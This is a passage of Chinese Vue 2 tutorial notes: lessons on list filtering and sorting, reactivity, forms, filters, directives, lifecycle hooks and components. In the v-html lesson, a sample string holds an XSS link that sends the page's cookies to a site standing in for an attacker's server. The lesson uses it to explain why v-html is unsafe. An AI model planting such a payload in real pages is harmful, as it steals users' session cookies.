	
	<script>
		Vue.config.productionTip = false //阻止Vue在启动时生成生产提示
		//使用watch监视实现
		//#region
		/*new Vue({
			el:'#root',
			data:{
				keyWord:'',
				persons:[
					{id:'001',name:'马冬梅',age:18,sex:'女'},
					{id:'002',name:'周冬雨',age:28,sex:'女'},
					{id:'003',name:'周杰伦',age:38,sex:'男'},
					{id:'003',name:'邓伦',age:28,sex:'男'},
				],
				filterPersons:[]
			},
			watch:{
				//监视keyWord属性是否改变
				keyWord:{
					immediate:true,
					handler(value){
						//属性改变就过滤数组
						this.filterPersons = this.persons.filter((p)=>{
							//过滤name属性中包含value相同字符串的数据
							return p.name.indexOf(value) !== -1
						})
					}
				}
			}
		})*/
		//#endregion
		
		//使用computed计算属性实现
		new Vue({
			el:'#root',
			data:{
				keyWord:'',
				persons:[
					{id:'001',name:'马冬梅',age:18,sex:'女'},
					{id:'002',name:'周冬雨',age:28,sex:'女'},
					{id:'003',name:'周杰伦',age:38,sex:'男'},
					{id:'003',name:'邓伦',age:28,sex:'男'},
				]
			},
			computed:{
				filterPersons(){
					return this.persons.filter((p)=>{
						return p.name.indexOf(this.keyWord) !== -1
					})
				}
			}
		})
	</script>
</html>

24.列表排序

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8">
		<title>列表排序</title>
		<script type="text/javascript" src="js/vue.js" ></script>
	</head>
	<body>
		<!--

		-->
		<div id="root">
			<!--遍历数组类型数据-->
			<h2>人员列表</h2>
			<ul>
				<input type="text" placeholder="请输入搜索名字" v-model="keyWord">
				<button @click="sortType = 2">年龄升序</button>
				<button @click="sortType = 1">年龄降序</button>
				<button @click="sortType = 0">原顺序</button>
				<li v-for="(p,index) in filterPersons" :key="p.id">
					
					{{p.name}}-{{p.age}}-{{p.sex}}
				</li>
			</ul>
		</div>
	</body>
	
	<script>
		Vue.config.productionTip = false //阻止Vue在启动时生成生产提示
		
		//使用computed计算属性实现
		new Vue({
			el:'#root',
			data:{
				keyWord:'',
				sortType:0,//原顺序：0，年龄降序：1，年龄升序：2
				persons:[
					{id:'001',name:'马冬梅',age:18,sex:'女'},
					{id:'002',name:'周冬雨',age:28,sex:'女'},
					{id:'003',name:'周杰伦',age:48,sex:'男'},
					{id:'004',name:'邓伦',age:38,sex:'男'},
				]
			},
			computed:{
				filterPersons(){
					const arr = this.persons.filter((p)=>{
						return p.name.indexOf(this.keyWord) !== -1
					})
					//判断是否需要排序
					//普通写法
					//#region
					/*if (this.sortType === 1) {
						return arr.sort((a,b)=>{
							return b.age-a.age
						})
					} else if (this.sortType === 2) {
						return arr.sort((a,b)=>{
							return a.age-b.age
						})
					} else {
						return arr
					}*/
					//#endregion
					//精简写法
					if(this.sortType){
						//数组排序
						arr.sort((p1,p2)=>{
							return this.sortType === 1 ? p2.age-p1.age : p1.age-p2.age
						})
					}

					return arr
				}
			}
		})
	</script>
</html>

25.更新时的一个问题

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8">
		<title>更新时的一个问题</title>
		<script type="text/javascript" src="js/vue.js" ></script>
	</head>
	<body>
		<!--

		-->
		<div id="root">
			<!--遍历数组类型数据-->
			<h2>人员列表</h2>
			<button @click="updateMei">更新马冬梅信息</button>
			<ul>
				<li v-for="(p,index) in persons" :key="p.id">
					{{p.name}}-{{p.age}}-{{p.sex}}
				</li>
			</ul>
		</div>
	</body>
	
	<script>
		Vue.config.productionTip = false //阻止Vue在启动时生成生产提示
		
		new Vue({
			el:'#root',
			data:{
				persons:[
					{id:'001',name:'马冬梅',age:18,sex:'女'},
					{id:'002',name:'周冬雨',age:28,sex:'女'},
					{id:'003',name:'周杰伦',age:48,sex:'男'},
					{id:'004',name:'邓伦',age:38,sex:'男'},
				]
			},
			methods: {
				updateMei(){
					// this.persons[0].name = '马老师'//奏效
					// this.persons[0].age = '50'//奏效
					// this.persons[0].sex = '男'//奏效
					// this.persons[0] = {id:'001',name:'马老师',age:50,sex:'男'}//不奏效
					this.persons.splice(0,1,{id:'001',name:'马老师',age:50,sex:'男'})
				}
			},
		})
	</script>
</html>

26.模拟数据监测

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8">
		<title>模拟数据监测</title>
	</head>
	<body>
		<script type="text/javascript">
			let data = {
				name:'电信学院',
				address:'北京'
			}
			//创建一个监视的实例对象，用于监视data中属性变化
			const obs = new Observer(data)
			console.log(obs)
			//准备一个vm实例对象
			let vm = {}
			vm._data = data = obs

			function Observer(obj){
				//汇总对象中所有属性形成一个数组
				const keys = Object.keys(obj)
				//遍历
				keys.forEach((k)=>{
					Object.defineProperty(this,k,{
						get(){
							return obj[k]
						},
						set(val){
							console.log('${k}被改了，我要去解析模板，生成虚拟DOM，.....,我去忙了。')
							obj[k] = val
						}
					})
				})
			}
		</script>
	</body>
	
</html>

27.Vue监听数据改变原理_对象

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8">
		<title>Vue监听数据改变原理_对象</title>
		<script type="text/javascript" src="js/vue.js" ></script>
	</head>
	<body>
		<!--

		-->
		<div id="root">
			<h2>学校名字：{{name}}</h2>
			<h2>学校地址：{{address}}</h2>
		</div>
	</body>
	
	<script>
		Vue.config.productionTip = false //阻止Vue在启动时生成生产提示
		
		const vm = new Vue({
			el:'#root',
			data:{
				name:'电信学院',
				address:'北京',
				student:{
					name:'小明',
					age:18,
					sex:'男'
				}
			}
		})
	</script>
</html>

28.Vue.set()的使用

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8">
		<title>Vue.set()的使用</title>
		<script type="text/javascript" src="js/vue.js" ></script>
	</head>
	<body>
		<!--

		-->
		<div id="root">
			<h1>学校信息</h1>
			<h2>学校名字：{{name}}</h2>
			<h2>学校地址：{{address}}</h2>
			<hr>
			<h1>学生信息</h1>
			<button @click="addSex">添加一个性别属性，默认值是男</button>
			<h2>名字：{{student.name}}</h2>
			<h2 v-if="student.sex">性别：{{student.sex}}</h2>
			<h2>年龄：真实{{student.age.rAge}},对外{{student.age.sAge}}</h2>
			<h2>朋友们：</h2>
			<ul>
				<li v-for="(friend,index) in student.friends" :key="index">
					{{friend.name}}-{{friend.age}}
				</li>
			</ul>
		</div>
	</body>
	
	<script>
		Vue.config.productionTip = false //阻止Vue在启动时生成生产提示
		
		const vm = new Vue({
			el:'#root',
			data:{
				name:'电信学院',
				address:'北京',
				student:{
					name:'小明',
					age:{
						rAge:32,
						sAge:20,
					},
					friends:[
						{name:'Jack',age:25},
						{name:'Tom',age:28},
					],
				}
			},
			methods: {
				addSex(){
					// Vue.set(this.student,'sex','男')
					this.$set(this.student,'sex','男')
				}
			},
		})
	</script>
</html>

29.Vue监听数据改变原理_数组

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8">
		<title>Vue监听数据改变原理_数组</title>
		<script type="text/javascript" src="js/vue.js" ></script>
	</head>
	<body>
		<!--

		-->
		<div id="root">
			<h1>学校信息</h1>
			<h2>学校名字：{{name}}</h2>
			<h2>学校地址：{{address}}</h2>
			<hr>
			<h1>学生信息</h1>
			<button @click="addSex">添加一个性别属性，默认值是男</button>
			<h2>名字：{{student.name}}</h2>
			<h2 v-if="student.sex">性别：{{student.sex}}</h2>
			<h2>年龄：真实{{student.age.rAge}},对外{{student.age.sAge}}</h2>
			<h2>爱好：</h2>
			<ul>
				<li v-for="(h,index) in student.hobby" :key="index">
					{{h}}
				</li>
			</ul>
			<h2>朋友们：</h2>
			<ul>
				<li v-for="(friend,index) in student.friends" :key="index">
					{{friend.name}}-{{friend.age}}
				</li>
			</ul>
		</div>
	</body>
	
	<script>
		Vue.config.productionTip = false //阻止Vue在启动时生成生产提示
		
		const vm = new Vue({
			el:'#root',
			data:{
				name:'电信学院',
				address:'北京',
				student:{
					name:'小明',
					age:{
						rAge:32,
						sAge:20,
					},
					hobby:['抽烟','喝酒','烫头'],
					friends:[
						{name:'Jack',age:25},
						{name:'Tom',age:28},
					],
				}
			},
			methods: {
				addSex(){
					// Vue.set(this.student,'sex','男')
					this.$set(this.student,'sex','男')
				}
			},
		})
	</script>
</html>

30.总结Vue数据监测

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8">
		<title>总结Vue数据监测</title>
		<script type="text/javascript" src="js/vue.js" ></script>
	</head>
	<body>
		<!--
			Vue监视数据的原理：
				1.Vue会监视data中所有层次的数据；
				2.如何监测对象中的数据？
					通过setter实现监测，且要在new Vue时就传入要监测的数据。
					(1).对象中后追加的属性，Vue默认不做响应式处理；
					(2).如需给后追加的属性做响应，需使用如下API：
						Vue.set(target,propertyName/index,value)或
						vm.$set(target,propertyName/index,value)
				3.如何监测数组中的数据？
					通过包裹数组更新元素的方法实现，本质就是做了两件事。
					(1).调用原生对应的方法对数组进行更新；
					(2).重新解析模板，进而更新页面；
				4.在Vue修改数组的某个元素，一定要使用如下方法：
					(1).使用这些API：push()、pop()、shift()、unshift()、splice()、sort()、reverse();
					(2).Vue.set() 或 vm.$set;
				5.特别注意：Vue.set() 或 vm.$set 不能给vm 或 vm的根数据对象 添加属性；
		-->
		<div id="root">
			<h1>学生信息</h1>

			<button @click="student.age++">年龄+1岁</button><br/>
			<button @click="addSex">添加性别属性，默认值男</button><br/>
			<button @click="student.sex = '未知' ">修改性别</button><br/>
			<button @click="addFriend">在列表首位添加一个朋友</button><br/>
			<button @click="updateFirstFriendName">修改第一个朋友的名字为张三</button><br/>
			<button @click="addHobby">添加一个爱好</button><br/>
			<button @click="updateHobby">修改第一个爱好为开车</button><br/>
			<button @click="removeSmoke">过滤掉爱好中的抽烟</button><br/>

			<h2>名字：{{student.name}}</h2>
			<h2>年龄：{{student.age}}</h2>
			<h2 v-if="student.sex">性别：{{student.sex}}</h2>
			<h2>爱好：</h2>
			<ul>
				<li v-for="(h,index) in student.hobby" :key="index">
					{{h}}
				</li>
			</ul>
			<h2>朋友们：</h2>
			<ul>
				<li v-for="(friend,index) in student.friends" :key="index">
					{{friend.name}}-{{friend.age}}
				</li>
			</ul>
		</div>
	</body>
	
	<script>
		Vue.config.productionTip = false //阻止Vue在启动时生成生产提示
		
		const vm = new Vue({
			el:'#root',
			data:{
				student:{
					name:'小明',
					age:18,
					hobby:['抽烟','喝酒','烫头'],
					friends:[
						{name:'Jack',age:25},
						{name:'Tom',age:28},
					],
				}
			},
			methods: {
				addSex(){
					// Vue.set(this.student,'sex','男')
					this.$set(this.student,'sex','男')
				},
				addFriend(){
					this.student.friends.unshift({name:'小华',age:27})
				},
				updateFirstFriendName(){
					this.student.friends[0].name = '张三'
				},
				addHobby(){
					this.student.hobby.push('学习')
				},
				updateHobby(){
					// this.student.hobby.splice(0,1,'开车')
					// this.$set(this.student.hobby,0,'开车')
					Vue.set(this.student.hobby,0,'开车')
				},
				removeSmoke(){
					this.student.hobby = this.student.hobby.filter((h)=>{
						return h !== '抽烟'
					})
				}
			},
		})
	</script>
</html>

31.收集表单数据

<!DOCTYPE html>
<html>
	<head>
		<meta charset="utf-8" />
		<title>收集表单数据</title>
		<!--引入Vue-->
		<script type="text/jscript" src="js/vue.js"></script>
	</head>
	<body>
        <!-- 
            收集表单数据：
                若：<input type="text">，则v-model收集的是value值，用户输入的也是value值。
                若：<input type="radio">，则v-model收集的是value值，且要给标签配置value值。
                若：<input type="checkbox">
                    1.没有配置input的value属性，那么v-model收集的是checked值（勾选 或 未勾选，是布尔值）
                    2.配置input的value属性：
                        (1).v-model的初始值是非数组，那么v-model收集的是checked值（勾选 或 未勾选，是布尔值）
                        (2).v-model的初始值是数组，那么v-model收集的就是value组成的数组
                备注，v-model的三个修饰符：
                    lazy：失去焦点在收集数据
                    number：输入字符串转为有效的数字
                    trim：输入的首尾空格过滤
         -->
		<!--准备一个容器-->
		<div id="root">
			<form @submit.prevent="demo">
                <!-- <label for="account">账号：</label>
                <input type="text" id="account"><br><br>
                <label for="password">密码：</label>
                <input type="password" id="password"> -->

                账号：<input type="text" v-model.trim="account"><br><br>
                密码：<input type="password" v-model="password"><br><br>
                年龄：<input type="number" v-model.number="age"><br><br>
                性别：
                男：<input type="radio" name="sex" value="男" v-model="sex">
                女：<input type="radio" name="sex" value="女" v-model="sex"><br><br>
                爱好：
                学习<input type="checkbox" value="study" v-model="hobby">
                打游戏<input type="checkbox" value="game" v-model="hobby">
                吃饭<input type="checkbox" value="eat" v-model="hobby"><br><br>
                所在校区：<select v-model="city">
                    <option value="">请选择校区</option>
                    <option value="beijing">北京</option>
                    <option value="shanghai">上海</option>
                    <option value="chengdu">成都</option>
                    <option value="shenzhen">深圳</option>
                    <option value="wuhan">武汉</option>
                </select><br><br>
                其他信息：
                <textarea v-model.lazy="other"></textarea><br><br>
                <input type="checkbox" v-model="agree"> 阅读并接受<a href="#">《用户协议》</a><br><br>
                <button>提交</button>
            </form>
		</div>
	</body>
	<script>
		Vue.config.productionTip = false //阻止Vue在启动时生成生产提示
			
       const vm =  new Vue({
            el:'#root',
			data:{
				account:'',
                password:'',
                age:'',
                sex:'',
                hobby:[],
                city:'',
                other:'',
                agree:''
			},
            methods: {
                demo(){
                    // alert(this.account+' : '+this.password+' : '+this.sex+' : '+this.hobby
                    // +' : '+this.city+' : '+this.other+' : '+this.agree)

                    // console.log(this.account+' : '+this.password+' : '+this.sex+' : '+this.hobby
                    // +' : '+this.city+' : '+this.other+' : '+this.agree)

                    //将收集到的数据转为json格式输出
                    console.log(JSON.stringify(this._data))
                }
            },
        })
	</script>
</html>

32.过滤器

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>过滤器</title>
    <!--引入Vue-->
	<script type="text/jscript" src="js/vue.js"></script>
    <script type="text/jscript" src="js/dayjs.min.js"></script>
</head>
<body>
    <!-- 
        过滤器：
            定义：对要显示的数据进行一些特定格式处理后在显示（适用于一些简单逻辑处理）。
            语法：
                1.注册过滤器： Vue.filter(name，callback) 或 new Vue({filters:{}})
                2.使用过滤器：{{xxx | 过滤器名}} 或 v-bind:属性="xxx | 过滤器名"
            备注：
                1.过滤器也可以接收额外参数，多个过滤器也可以串联
                2.并没有改变原本的数据，只产生新的对应的数据
     -->
    <div id="root">
        <h2>格式化后的时间：</h2>
        <!-- 计算属性实现 -->
        <h3>现在的时间：{{showTime}}</h3>
        <!-- methods实现 -->
        <h3>现在的时间：{{showTime01()}}</h3>
        <!-- 过滤器实现 -->
        <h3>现在的时间：{{time | showTime02}}</h3>
        <!-- 过滤器实现(传参) -->
        <h3>现在的时间：{{time | showTime02('YYYY年MM月DD日 HH:mm:ss')}}</h3>
        <!-- 过滤器实现(多个过滤器串联) -->
        <h3>现在的时间：{{time | showTime02('YYYY年MM月DD日 HH:mm:ss') | mySlice}}</h3>
        <!-- 过滤器实现(多个过滤器串联) -->
        <h3 :x="msg | mySlice">电信学院</h3>
    </div>
</body>
<script>
    Vue.config.productionTip = false //阻止Vue在启动时生成生产提示
	//全局过滤器
    Vue.filter('mySlice',function(val){
        return val.slice(0,4)
    })		

    new Vue({
        el:'#root',
        data:{
            time:1629796662740,
            msg:'你好电信学院'
        }, 
        computed:{
            showTime(){
                return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
            }
        },
        methods: {
            showTime01(){
                return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
            }
        },    
        filters:{
            showTime02(val,str='YYYY-MM-DD HH:mm:ss'){
                console.log('@',val)
                return dayjs(val).format(str)
            },
            //局部过滤器
            // mySlice(val){
            //     return val.slice(0,4)
            // }
        },
    })
</script>
</html>

33.内置指令(v-text)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>内置指令(v-text)</title>
     <!--引入Vue-->
	<script type="text/jscript" src="js/vue.js"></script>
</head>
<body>
    <!-- 
        已经学过的指令：
            v-bind:单向数据绑定解析表达式，可简写为“:xxx”
            v-model:双向数据绑定
            v-on:绑定事件监听，可简写为“@xx”
            v-for:遍历数组、对象、字符串
            v-if:条件渲染（动态控制节点是否存在）
            v-else-if:条件渲染（动态控制节点是否存在）
            v-else:条件渲染（动态控制节点是否存在）
            v-show:条件渲染（动态控制节点是否展示）
        v-text指令：
            1.作用：向其所在的节点渲染文本内容。
            2.与插值语法的区别：v-text会替换掉节点中的内容，{{xxx}}则不会。
     -->
    <div id="root">
        <div>你好，{{name}}</div>
        <div v-text="name"></div>
        <div v-text="str"></div>
        
    </div>
</body>
<script>
    Vue.config.productionTip = false //阻止Vue在启动时生成生产提示

    new Vue({
        el:'#root',
        data:{
            name:'小明',
            str:'<h3>你好啊！</h3>'
        },
    })
</script>
</html>

34.内置指令(v-html)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>内置指令(v-html)</title>
     <!--引入Vue-->
	<script type="text/jscript" src="js/vue.js"></script>
</head>
<body>
    <!-- 
        v-html指令：
            1.作用：向其所在的节点渲染包含HTML结构的内容。
            2.与插值语法的区别：
                (1).v-html会替换掉节点中所有的内容，{{xxx}}则不会。
                (2).v-html可以识别HTML结构。
            3.严重注意，HTML有安全性问题：
                (1).在网站上动态渲染任意HTML是非常危险的，容易导致xss攻击。
                (2).一定要在可信的内容上使用v-html，永远不要再用户提交的内容上。
     -->
    <div id="root">
        <div v-html="str"></div>
        <div v-html="str2"></div>
    </div>
</body>
<script>
    Vue.config.productionTip = false //阻止Vue在启动时生成生产提示

    new Vue({
        el:'#root',
        data:{
            str:'<h3>你好啊！</h3>',
            //危险代码片段，获取网页cookie并发送到百度网站（百度网站模拟坏人的服务器）
            str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>你好啊！</a>'
        },
    })
</script>
</html>

35.内置指令(v-cloak)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>内置指令(v-cloak)</title>
    <style>
        [v-cloak]{
            display: none;
        }
    </style>
     <!--引入Vue-->
	<script type="text/jscript" src="js/vue.js"></script>
</head>
<body>
    <!-- 
        v-cloak指令(没有值)：
            1.本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性。
            2.使用CSS配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
     -->
    <div id="root">
         <h2 v-cloak>{{str}}</h2>
    </div>
</body>
<script>
    Vue.config.productionTip = false //阻止Vue在启动时生成生产提示

    new Vue({
        el:'#root',
        data:{
            str:'你好啊！',
        },
    })
</script>
</html>

36.内置指令(v-once)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>内置指令(v-once)</title>
     <!--引入Vue-->
	<script type="text/jscript" src="js/vue.js"></script>
</head>
<body>
    <!-- 
        v-once指令：
            1.v-once所在节点在初次动态渲染后，就视为静态内容了。
            2.以后数据改变不会引起v-once所在结构的数据更新，可以用于优化性能。
     -->
    <div id="root">
        <h2 v-once>初始化的n值是：{{n}}</h2>
        <h2>当前的n值是：{{n}}</h2>
        <button @click="n++">点我n+1</button>
    </div>
</body>
<script>
    Vue.config.productionTip = false //阻止Vue在启动时生成生产提示

    new Vue({
        el:'#root',
        data:{
            n:5,
        },
    })
</script>
</html>

37.内置指令(v-pre)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>内置指令(v-pre)</title>
     <!--引入Vue-->
	<script type="text/jscript" src="js/vue.js"></script>
</head>
<body>
    <!-- 
        v-pre指令：
            1. v-pre可以跳过其所在节点的编译过程。
            2.可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译。
     -->
    <div id="root">
        <h2 v-pre>Vue其实很简单</h2>
        <h2>当前的n值是：{{n}}</h2>
        <button @click="n++">点我n+1</button>
    </div>
</body>
<script>
    Vue.config.productionTip = false //阻止Vue在启动时生成生产提示

    new Vue({
        el:'#root',
        data:{
            n:5,
        },
    })
</script>
</html>

38.自定义指令

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>自定义指令</title>
     <!--引入Vue-->
	<script type="text/jscript" src="js/vue.js"></script>
</head>
<body>
    <!-- 
        1.需求1：定义一个v-big指令，与v-text指令类似，但会把绑定的数值放大10倍。
        2.需求2：定义一个v-fbind指令，与v-bind指令类似，但可以让其所绑定的input元素默认获取焦点。
        自定义指令总结：
            一、定义语法：
                1.局部指令：
                    new Vue({                                       new Vue({
                        directives:{指令名:配置对象}     或              directives(){}
                    })                                              })
                2.全局指令：
                    Vue.directive('指令名',配置对象)     或          Vue.directive('指令名',回调函数) 
            二、配置对象中常用的三个回调：
                1.bind(element,binding)：指令与元素成功绑定时被调用
                2.inserted(element,binding)：指令所在元素被插入页面时被调用
                3.update(element,binding)：指令所在的模板被重新解析时被调用
            三、备注：
                1.指令定义时不加v-，但使用时要加v-前缀；
                2.指令名如果是多个单词时，要使用kebab-case命名方式，不要使用camelCase命名；
     -->
    <div id="root">
        <h2>当前的n值是：<span v-text="n"></span></h2>
        <!-- <h2>放大10倍的n值是：<span v-big-number="n"></span></h2> -->
        <h2>放大10倍的n值是：<span v-big="n"></span></h2>
        <button @click="n++">点我n+1</button>
        <hr>
        <input type="text" v-fbind:value="n">
    </div>

    <div id="root2">
        <!-- 使用全局指令 -->
        <input type="text" v-fbind:value="n">
    </div>
</body>
<script>
    Vue.config.productionTip = false //阻止Vue在启动时生成生产提示
    //定义全局指令
    Vue.directive('fbind',{
         //指令与元素成功绑定时被调用
         bind(element,binding){
            console.log('bind')
            element.value = binding.value
        },
        //指令所在元素被插入页面时被调用
        inserted(element,binding){
            console.log('inserted')
            element.focus()
        },        
        //指令所在的模板被重新解析时被调用
        update(element,binding){
            console.log('update')
            element.value = binding.value
        }
    })

    new Vue({
        el:'#root',
        data:{
            n:1,
        },
        //定义局部指令
        directives:{
            //函数式（普通写法）
            /**
            'big-number':function(element,binding){
            //    console.log(element,binding.value) //element是真实DOM标签，binding是真实DOM标签的属性对象
                element.innerText = binding.value * 10 //将绑定的值乘以10放入DOM中
            },
            */
            //函数式（简写）
            //big函数何时被调用？1.指令与元素成功绑定时。2.指令所在的模板被重新解析时。
            big(element,binding){
            //    console.log(element,binding.value) //element是真实DOM标签，binding是真实DOM标签的属性对象
                element.innerText = binding.value * 10 //将绑定的值乘以10放入DOM中
            },
            //对象式式指令
            // fbind:{
            //     //指令与元素成功绑定时被调用
            //     bind(element,binding){
            //         console.log('bind')
            //         element.value = binding.value
            //     },
            //     //指令所在元素被插入页面时被调用
            //     inserted(element,binding){
            //         console.log('inserted')
            //         element.focus()
            //     },
            //     //指令所在的模板被重新解析时被调用
            //     update(element,binding){
            //         console.log('update')
            //         element.value = binding.value
            //     }
            // }
        }
    })

    new Vue({
        el:'#root2',
        data:{
            n:5,
        },
    })
</script>
</html>

39.引出Vue生命周期

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>引出Vue生命周期</title>
     <!--引入Vue-->
	<script type="text/jscript" src="js/vue.js"></script>
</head>
<body>
    <!-- 
        生命周期：
            1.又名：生命周期回调函数、生命周期函数、生命周期钩子；
            2.是什么：Vue在关键时刻帮我们调用的一些特殊名称的函数；
            3.生命周期函数的名字不可更改，但函数体的内容是程序员根据需求编写的；
            4.生命周期函数的this指向的是 vm 或 组件实例对象；
     -->
    <div id="root">
        <!-- 绑定style样式 -->
        <!-- <h2 :style="{opacity: opacity}">欢迎学习Vue</h2> -->
        <!-- 重名可以简写 -->
        <h2 :style="{opacity}">欢迎学习Vue</h2>
    </div>
</body>
<script>
    Vue.config.productionTip = false //阻止Vue在启动时生成生产提示
   
    const vm = new Vue({
        el:'#root',
        data:{
            opacity: 1, 
        },
        methods: {
            
        },
        //Vue完成模板解析并把初始的真实DOM元素放入页面后（这个过程称为完成挂载）调用mounted()函数（只调用一次）
        mounted() {
            console.log('mounted')
            // 设置定时器(推荐)
            setInterval(()=>{
                if(this.opacity <= 0){
                    this.opacity = 1
                }
                this.opacity -= 0.01
            },15)

        },
    })

    // 设置定时器(通过外部定时器实现，不推荐)
    // setInterval(()=>{
    //     if(vm.opacity <= 0){
    //         vm.opacity = 1
    //     }
    //     vm.opacity -= 0.01
    // },20)
</script>
</html>

40.分析Vue生命周期

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>分析Vue生命周期</title>
     <!--引入Vue-->
	<script type="text/jscript" src="js/vue.js"></script>
</head>
<body>
    <!-- 
        
     -->
    <div id="root">
        <h2>当前的n值是：{{n}}</h2>
        <button @click="add">点我n+1</button>
        <button @click="bye">点我销毁vm</button>
    </div>
</body>
<script>
    Vue.config.productionTip = false //阻止Vue在启动时生成生产提示
   
    const vm = new Vue({
        el:'#root',
        data:{
           n: 1, 
        },
        methods: {
            add(){
                this.n++
            },
            bye(){
                console.log('bye')
                this.$destroy()//销毁Vue实例
            }
        },
        beforeCreate() {
            // 此时无法通过vm访问到data中的数据和methods中的方法。
            console.log('beforeCreate')
        },
        created() {
             // 此时可以通过vm访问到data中的数据和methods中配置的方法。
            console.log('created')
            // console.log(this)
            // 调试断点
            // debugger
        },
        beforeMount() {
            // 此时页面呈现的是未经Vue编译的DOM结构，所有对DOM的操作最终都不奏效。
            console.log('beforeMount')
        },
        //Vue完成模板解析并把初始的真实DOM元素放入页面后（这个过程称为完成挂载）调用mounted()函数（只调用一次）
        mounted() {
             // 此时页面呈现的是经Vue编译过的DOM结构，所有对DOM的操作均奏效（尽可能避免）。
            //  至此初始化过程结束，一般在此进行：开启定时器、发送网络请求、订阅消息、绑定自定义事件等初始化操作。
            console.log('mounted')
            
        },
        beforeUpdate() {
            // 此时数据是新的，但页面是旧的。即：页面尚未和数据保持同步。
            console.log('beforeUpdate')
        },
        updated() {
             // 此时数据是新的，页面也是新的。即：页面和数据保持同步。
            console.log('updated')
        },
        beforeDestroy() {
            // 此时vm中所有的data、methods、指令等等，都处于可用状态，马上要执行销毁过程。
            // 一般在此进行：关闭定时器、取消消息订阅、解绑自定义事件等收尾操作。
            console.log('beforeDestroy')
        },
        destroyed() {
            console.log('destroyed')
        },
    })
</script>
</html>

41.总结Vue生命周期

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>总结Vue生命周期</title>
     <!--引入Vue-->
	<script type="text/jscript" src="js/vue.js"></script>
</head>
<body>
    <!-- 
        常用的生命周期钩子：
            1.mounted：开启定时器、发送ajax请求、订阅消息、绑定自定义事件等初始化操作。
            2.beforeDestroy：清除定时器、取消消息订阅、解绑自定义事件等收尾操作。

        关于销毁Vue实例：
            1.销毁后借助Vue开发者工具看不到任何信息；
            2.销毁后自定义事件会失效，但原生DOM事件任然有效；
            3.一般不会在beforeDestroy里操作数据，因为即便操作数据，也不会再触发更新流程了；
     -->
    <div id="root">
        <h2 :style="{opacity}">欢迎学习Vue</h2>
        <button @click="stop()">点我终止变换</button>
    </div>
</body>
<script>
    Vue.config.productionTip = false //阻止Vue在启动时生成生产提示
   
    const vm = new Vue({
        el:'#root',
        data:{
            opacity: 1, 
        },
        methods: {
            stop(){
                this.$destroy()//模拟vm被销毁，调用beforeDestroy()生命周期函数，做一些善后工作，比如：清除定时器等
            }
        },
        //Vue完成模板解析并把初始的真实DOM元素放入页面后（这个过程称为完成挂载）调用mounted()函数（只调用一次）
        mounted() {
            console.log('mounted')
            // 设置定时器,并将定时器id赋值给vm的timer属性
            this.timer = setInterval(()=>{
                if(this.opacity <= 0){
                    this.opacity = 1
                }
                this.opacity -= 0.01
            },15)
        },
        beforeDestroy() {
            console.log('beforeDestroy做一些善后工作')
            clearInterval(this.timer)//清除指定id定时器
        },
    })
</script>
</html>

42.非单文件组件（基本使用）

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>非单文件组件（基本使用）</title>
    <!--引入Vue-->
	<script type="text/jscript" src="js/vue.js"></script>
</head>
<body>
    <!-- 
        Vue中使用组件的三大步骤：
            1.定义组件（创建组件）
            2.注册组件
            3.使用组件（写组件标签）
        一、如何定义一个组件？
            使用Vue.extend(options)创建，其中options和new Vue(options)时传入的options几乎一样，
            但区别如下：
                1.el不要写，为什么？——最终所有的组件都要经过一个vm管理，由vm中的el决定组件服务于那个容器。
                2.data必须写成函数，为什么？——避免组件被复用时，数据存在引用关系。
                备注：使用template可以配置组件结构；
        二、如何注册组件？
            1.全局注册：靠new Vue()的时候传入components选项；
            2.局部注册：靠Vue.component('组件名'，组件)；
        三、编写组件标签：
            <school></school>
    
    -->
    <div id="root">
        <h1>{{msg}}</h1>
        <hello></hello>
        <hr>
        <!--  第三步：编写组件标签 -->
        <school></school>
        <hr>
        <!--  第三步：编写组件标签 -->
        <student></student>
        <!-- 体现复用组件 -->
        <student></student>
    </div>
    <div id="root2">
        <hello></hello>
    </div>
</body>
<script>
    Vue.config.productionTip = false //阻止Vue在启动时生成生产提示

    // 第一步：创建school组件
    const school = Vue.extend({
        template:`
            <div>
                <h2>学校名字：{{schoolName}}</h2>
                <h2>学校地址：{{address}}</h2>
                <button @click="showName">点我提示学校名</button>
            </div> 
        `,
        data(){
            return {
                schoolName:'电信学院',
                address:'北京'
            }
